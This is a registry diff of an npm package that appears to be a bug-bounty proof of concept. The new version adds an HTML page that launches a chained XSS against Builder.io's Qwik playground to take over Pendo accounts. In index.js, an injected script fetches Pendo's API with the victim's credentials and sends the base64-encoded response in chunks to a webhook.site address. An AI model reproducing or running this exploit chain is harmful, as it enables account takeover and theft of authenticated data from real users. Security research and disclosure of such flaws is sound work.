npm-builderio-qwik-poc 1.0.2 → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/a.html +27 -0
- package/index.js +1 -1
- package/package.json +1 -1
package/a.html
ADDED
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
<!DOCTYPE html>
|
|
2
|
+
<html>
|
|
3
|
+
<head><title>Builder.io + Pendo PoC</title></head>
|
|
4
|
+
<body>
|
|
5
|
+
<h2>Builder.io Chained XSS → Pendo Account Takeover PoC</h2>
|
|
6
|
+
<p>Click the button below to start the exploit chain.</p>
|
|
7
|
+
<button id="btn" style="padding:15px 30px;font-size:18px;cursor:pointer;">Start PoC</button>
|
|
8
|
+
<pre id="log" style="margin-top:20px;background:#111;color:#0f0;padding:15px;"></pre>
|
|
9
|
+
<script>
|
|
10
|
+
document.getElementById('btn').addEventListener('click', function() {
|
|
11
|
+
var log = document.getElementById('log');
|
|
12
|
+
|
|
13
|
+
log.textContent += '[1] Opening www.pendo.io as first-party window (full cookies)...\n';
|
|
14
|
+
var pendoWin = window.open('https://www.pendo.io', 'pendowin');
|
|
15
|
+
|
|
16
|
+
log.textContent += '[2] Waiting 3s for pendo.io to load...\n';
|
|
17
|
+
setTimeout(function() {
|
|
18
|
+
log.textContent += '[3] Redirecting to qwik-playground XSS payload...\n';
|
|
19
|
+
log.textContent += '[4] XSS will iframe pendo.io, postMessage into it,\n';
|
|
20
|
+
log.textContent += ' then reach into the first-party window to exfil data.\n';
|
|
21
|
+
|
|
22
|
+
window.location = 'https://qwik-playground.builder.io/#q1YqSy0qzszPU7JSqtDX04OivIJcENZNKs3MSUktyszXLSzPzNYtyE92MNQz0DOyr7BVqgUA';
|
|
23
|
+
}, 3000);
|
|
24
|
+
});
|
|
25
|
+
</script>
|
|
26
|
+
</body>
|
|
27
|
+
</html>
|
package/index.js
CHANGED
|
@@ -11,7 +11,7 @@ ids.forEach(function(id) {
|
|
|
11
11
|
allIds.push(id.replace('builder-', ''));
|
|
12
12
|
});
|
|
13
13
|
|
|
14
|
-
var exfil = "fetch('https://novus-api.pendo.io/pendo/app',{credentials:'include'}).then(function(r){return r.text()}).then(function(d){var e=btoa(d);var cs=[];for(var i=0;i<e.length;i+=2000){cs.push(e.substring(i,i+2000))}cs.forEach(function(c,i){new Image().src='https://webhook.site/d4d74967-cd7f-4b43-86f0-944e71ac7c97?chunk='+i+'&total='+cs.length+'&d='+encodeURIComponent(c)})})";
|
|
14
|
+
var exfil = "var w=window.open('','pendowin');if(w){var s=w.document.createElement('script');s.textContent=\"fetch('https://novus-api.pendo.io/pendo/app',{credentials:'include'}).then(function(r){return r.text()}).then(function(d){var e=btoa(d);var cs=[];for(var i=0;i<e.length;i+=2000){cs.push(e.substring(i,i+2000))}cs.forEach(function(c,i){new Image().src='https://webhook.site/d4d74967-cd7f-4b43-86f0-944e71ac7c97?chunk='+i+'&total='+cs.length+'&d='+encodeURIComponent(c)})})\";w.document.head.appendChild(s)}";
|
|
15
15
|
|
|
16
16
|
iframe.onload = function() {
|
|
17
17
|
setTimeout(function() {
|